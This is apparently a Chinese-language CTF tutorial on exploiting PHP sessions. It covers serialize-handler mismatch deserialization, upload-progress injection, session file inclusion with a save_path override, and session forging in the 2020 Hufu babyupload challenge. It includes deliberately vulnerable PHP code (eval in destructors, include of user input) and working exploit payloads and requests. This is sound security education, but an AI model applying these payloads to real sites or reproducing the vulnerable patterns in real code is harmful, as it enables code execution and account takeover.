首发于先知社区:https://xz.aliyun.com/t/8221

在做CTF的时候,经常会遇到 PHP session 的考点,就总结一下。

0x1PHP session 简介

0x1.1基本概念

session 概念: 一般称为会话控制。session 对象存储特定用户会话所需的属性及配置信息。这样,当用户在应用程序的 Web 页之间跳转时,存储在 session 对象中的变量将不会丢失,而是在整个用户会话中一直存在下去。当用户请求来自应用程序的 Web 页时,如果该用户还没有会话,则 Web 服务器将自动创建一个 session 对象。当会话过期或被放弃后,服务器将终止该会话。

PHP session概念: PHP session 是一个特殊的变量,用于存储有关用户会话的信息,或更改用户会话的设置。session 变量保存的信息是单一用户的,并且可供应用程序中的所有页面使用。 它为每个访问者创建一个唯一的 id (UID),并基于这个 UID 来存储变量。UID 存储在 cookie 中,亦或通过 URL 进行传导。

0x1.2会话流程

当开始一个会话时,PHP 会尝试从请求中查找会话 ID (通常通过会话 cookie), 如果请求中不包含会话 ID 信息,PHP 就会创建一个新的会话。 会话开始之后,PHP 就会将会话中的数据设置到 $_SESSION 变量中。 当 PHP 停止的时候,它会自动读取 $_SESSION 中的内容,并将其进行序列化, 然后发送给会话保存管理器来进行保存。

默认情况下,PHP 使用内置的文件会话保存管理器(files)来完成会话的保存。 也可以通过配置项 session.save_handler 来修改所要采用的会话保存管理器。 对于文件会话保存管理器,会将会话数据保存到配置项 session.save_path 所指定的位置。

可以通过调用函数 session_start() 来手动开始一个会话。 如果配置项 session.auto_start 设置为1, 那么请求开始的时候,会话会自动开始。

PHP 脚本执行完毕之后,会话会自动关闭。 同时,也可以通过调用函数 session_write_close() 来手动关闭会话。

0x1.3常见配置

PHP 的安装目录下面找到 php.ini 文件,这个文件主要的作用是对 PHP 进行一些配置

1
2
3
4
5
6
7
8
9
10
11
12
13
session.save_handler = files #session的存储方式
session.save_path = "/var/lib/php/session" #session id存放路径
session.use_cookies= 1 #使用cookies在客户端保存会话
session.use_only_cookies = 1 #去保护URL中传送session id的用户
session.name = PHPSESSID #session名称(默认PHPSESSID)
session.auto_start = 0 #不启用请求自动初始化session
session.use_trans_sid = 0 #如果客户端禁用了cookie,可以通过设置session.use_trans_sid来使标识的交互方式从cookie变为url传递
session.cookie_lifetime = 0 #cookie存活时间(0为直至浏览器重启,单位秒)
session.cookie_path = / #cookie的有效路径
session.cookie_domain = #cookie的有效域名
session.cookie_httponly = #httponly标记增加到cookie上(脚本语言无法抓取)
session.serialize_handler = php #PHP标准序列化
session.gc_maxlifetime =1440 #过期时间(默认24分钟,单位秒)

0x1.4存储引擎

PHP 中的 session 中的内容默认是以文件的方式来存储的,存储方式就是由配置项session.save_handler 来进行确定的,默认是以文件的方式存储。
存储的文件是以 sess_PHPSESSID 来进行命名的,文件的内容就是 session 值的序列话之后的内容。

session.serialize_handler 是用来设置 session 的序列话引擎的,除了默认的 PHP 引擎之外,还存在其他引擎,不同的引擎所对应的 session 的存储方式不相同。

session.serialize_handler 有如下三种取值

存储引擎 存储方式
php_binary 键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值
php 键名+竖线+经过serialize()函数序列处理的值
php_serialize (PHP>5.5.4)经过serialize()函数序列化处理的数组

PHP 中默认使用的是 PHP 引擎,如果要修改为其他的引擎,只需要添加代码ini_set('session.serialize_handler', '需要设置的引擎'),示例代码如下:

1
2
3
4
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
// do something

以如下代码为例,查看不同存储引擎存储的结果

1
2
3
4
5
6
<?php
error_reporting(0);
ini_set('session.serialize_handler','php_binary');//这里换不同的存储引擎
session_start();
$_SESSION['username'] = $_GET['username'];
?>

php_binary

php

php_serialize

0x2PHP session 利用

0x2.1反序列化

当网站序列化存储 session 与反序列化读取 session 的方式不同时,就可能导致 session 反序列化漏洞的产生。 一般都是以 php_serialize 序列化存储 session, 以 PHP 反序列化读取 session,造成反序列化攻击。

0x2.1.1 有$_SESSION赋值

例子
s1.php

1
2
3
4
5
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION["username"]=$_GET["u"];
?>

s2.php

1
2
3
4
5
6
7
8
9
<?php
session_start();
class session {
var $var;
function __destruct() {
eval($this->var);
}
}
?>

s1.php 使用的是 php_serialize 存储引擎,s2.php 使用的是 php 存储引擎(页面中没有设置存储引擎,默认使用的是 php.inisession.serialize_handler 设置的值,默认为 php)

我们可以往s1.php传入如下的参数

1
s1.php?u=|O:7:"session":1:{s:3:"var";s:10:"phpinfo();";}

此时使用的是 php_seriallize 存储引擎来序列化,存储的内容为

接着访问s2.php,使用的是 php 存储引擎来反序列化,结果

这是因为当使用 php 引擎的时候,php 引擎会以 | 作为作为 keyvalue 的分隔符,那么就会将a:1:{s:8:"username";s:47:"作为 sessionkey,将O:7:"session":1:{s:3:"var";s:10:"phpinfo();";}";}作为 value,然后进行反序列化。

访问s2.php为什么会反序列化?这里可以可以看看官方文档

那串 value 不符合”正常”的被反序列化的字符串规则不会报错吗?这里提到一个unserialize 的特性,在执行 unserialize 的时候,如果字符串前面满足了可被反序列化的规则即后续的不规则字符会被忽略。

0x2.1.2 无$_SESSION赋值

上面的例子直接可以给 $_SESSION 赋值,那当代码中不存在给 $_SESSION 赋值的时候,又该如何处理?
查看官方文档,可知还存在 PHP 还存在一个 upload_process 机制,可以在$_SESSION中创建一个键值对,其中的值可以控制。

以 Jarvis OJ 平台的PHPINFO题目为例
环境地址:http://web.jarvisoj.com:32784/

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}

function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>

存在 phpinfo.php 文件,由此可知 session.upload_progress.enabled 为 On,session.serialize_handlerphp_serialize,与 index.php 页面所用的 PHP 存储引擎不同,存在反序列化攻击。

session.upload_progress.namePHP_SESSION_UPLOAD_PROGRESS,可以本地创建form.html,一个向 index.php 提交 POST 请求的表单文件,其中包括PHP_SESSION_UPLOAD_PROGRESS 变量。

form.html

1
2
3
4
5
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" />
</form>

使用 bp 抓包,在 PHP_SESSION_UPLOAD_PROGRESSvalue 值123后面添加 | 和序列化的字符串

查看根目录文件

查看根目录路径

读取 flag

0x2.2文件包含

利用条件: 存在文件包含,session 文件的路径已知,且文件中的内容可控。
session 文件的路径可从 phpinfo 中得知,

或者进行猜测

1
2
3
4
/var/lib/php/sessions/sess_PHPSESSIONID
/var/lib/php[\d]/sessions/sess_PHPSESSIONID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID

例子1:
session.php

1
2
3
4
<?php
session_start();
$_SESSION["username"]=$_GET['s'];
?>

include.php

1
2
3
<?php
include $_GET['i'];
?>

往 session.php 传入一句话,写入 session 文件中

1
session.php?s=<?php phpinfo(); ?>

cookiePHPSESSID 值为 k82hb2gbrj7daoncpogvlbrbcp,即 session 存储的文件名为 sess_k82hb2gbrj7daoncpogvlbrbcp,路径可以猜测一下,这里为 /var/lib/php/sessions/

include.php 文件包含 session 存储文件

1
/include.php?i=/var/lib/php/sessions/sess_k82hb2gbrj7daoncpogvlbrbcp

例子2:
XCTF2018-Final_bestphp
这里就取其中的小部分代码,稍微修改如下
bestphp.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
highlight_file(__FILE__);
error_reporting(0);
ini_set('open_basedir', '/var/www/html:/tmp');


$func=isset($_GET['function'])?$_GET['function']:'filters';
call_user_func($func,$_GET);

if(isset($_GET['file'])){
include $_GET['file'];
}

session_start();
$_SESSION['name']=$_POST['name'];
?>

这里设置了 open_basedir,限制了我们读取文件的范围,这里 session 文件是保存在 /var/lib/php/session/ 下,不在读取的范围里,这里可以考虑修改一下 session 文件存储的位置。

session_start()函数从 PHP7 开始增加了 options 参数,会覆盖 php.ini 中的配置。

利用 session_start 覆盖 php.ini 文件中的默认配置 session.save_path 的值,并写入

1
2
http://192.168.1.101/bestphp.php/?function=session_start&save_path=/var/www/html 
post: name=<?=phpinfo();?>


成功包含session文件

其实这个操作也可以由 session_save_path() 函数来完成,但是这个函数传入的参数是个字符串,不适用于此题。

0x2.3用户伪造

利用条件:知道所使用的 PHP session 存储引擎,以及 session 文件内容可控。

这里就以2020虎符杯-babyupload为例
index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
 <?php
error_reporting(0);
session_save_path("/var/babyctf/");
session_start();
require_once "/flag";
highlight_file(__FILE__);
if($_SESSION['username'] ==='admin')
{
$filename='/var/babyctf/success.txt';
if(file_exists($filename)){
safe_delete($filename);
die($flag);
}
}
else{
$_SESSION['username'] ='guest';
}
$direction = filter_input(INPUT_POST, 'direction');
$attr = filter_input(INPUT_POST, 'attr');
$dir_path = "/var/babyctf/".$attr;
if($attr==="private"){
$dir_path .= "/".$_SESSION['username'];
}
if($direction === "upload"){
try{
if(!is_uploaded_file($_FILES['up_file']['tmp_name'])){
throw new RuntimeException('invalid upload');
}
$file_path = $dir_path."/".$_FILES['up_file']['name'];
$file_path .= "_".hash_file("sha256",$_FILES['up_file']['tmp_name']);
if(preg_match('/(../|..\\)/', $file_path)){
throw new RuntimeException('invalid file path');
}
@mkdir($dir_path, 0700, TRUE);
if(move_uploaded_file($_FILES['up_file']['tmp_name'],$file_path)){
$upload_result = "uploaded";
}else{
throw new RuntimeException('error while saving');
}
} catch (RuntimeException $e) {
$upload_result = $e->getMessage();
}
} elseif ($direction === "download") {
try{
$filename = basename(filter_input(INPUT_POST, 'filename'));
$file_path = $dir_path."/".$filename;
if(preg_match('/(../|..\\)/', $file_path)){
throw new RuntimeException('invalid file path');
}
if(!file_exists($file_path)) {
throw new RuntimeException('file not exist');
}
header('Content-Type: application/force-download');
header('Content-Length: '.filesize($file_path));
header('Content-Disposition: attachment; filename="'.substr($filename, 0, -65).'"');
if(readfile($file_path)){
$download_result = "downloaded";
}else{
throw new RuntimeException('error while saving');
}
} catch (RuntimeException $e) {
$download_result = $e->getMessage();
}
exit;
}
?>

这是一个存在上传和下载文件的功能的文件,只有当$_SESSION['username'] ==='admin' 才能获取 flag。 我们可以通过下载查看 session 文件所使用的存储引擎,然后通过相同的存储引擎伪造为 admin,上传 session 文件 ,获取 flag

首先下载 session 文件,文件名为 sess_PHPSESSID

1
2
3
http://192.168.100.16/index.php 

post:direction=download&filename=sess_qq7ucpov7ulvt1qsji3pueea2i


可知使用的是 php_binary
内容为:

1
<0x08>usernames:5:"guest";

猜测我们只要上传一个 session 文件内容为:

1
<0x08>usernames:5:"admin";


发现如果不上传 attr 参数,dir_path会直接拼接上传的文件名+"_".hash_file("sha256",$_FILES['up_file']['tmp_name']);

如果把上传文件名设置为 sess,并且不传递 attr 参数,就可以得到/var/babyctf/sess_XXXXXXXXX,这就可以当成 session 文件。
hash_file()是根据文件内容得到的 hash
本地创建一个文件名为sess:

上传 sess 文件

计算 hash 值

文件名为 sess_432b8b09e30c4a75986b719d1312b63a69f1b833ab602c9ad5f0299d1d76a5a4,尝试下载访问,如下可知已经上传成功。

现在就差 success.txt, 可以把 attr 参数设置为 success.txt

将success.txt变成一个目录,从而绕过了限制。
然后将 PHPSESSID 修改为432b8b09e30c4a75986b719d1312b63a69f1b833ab602c9ad5f0299d1d76a5a4,就可以得到flag

0x3总结

这里对PHP session 常见的利用点进行一次汇总,当然肯定还有其他利用方式,等自己以后遇到再补充吧。

0x4参考

https://www.w3school.com.cn/php/php_sessions.asp
https://www.cnblogs.com/st-leslie/p/8016951.html
https://www.php.net/manual/zh/book.session.php
https://blog.spoock.com/2016/10/16/php-serialize-problem/
https://cloud.tencent.com/developer/article/1487037
https://zhuanlan.zhihu.com/p/90879209
https://www.mi1k7ea.com/2019/04/21/PHP-session%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/
https://zhuanlan.zhihu.com/p/90879209
https://xz.aliyun.com/t/4265
https://xz.aliyun.com/t/6640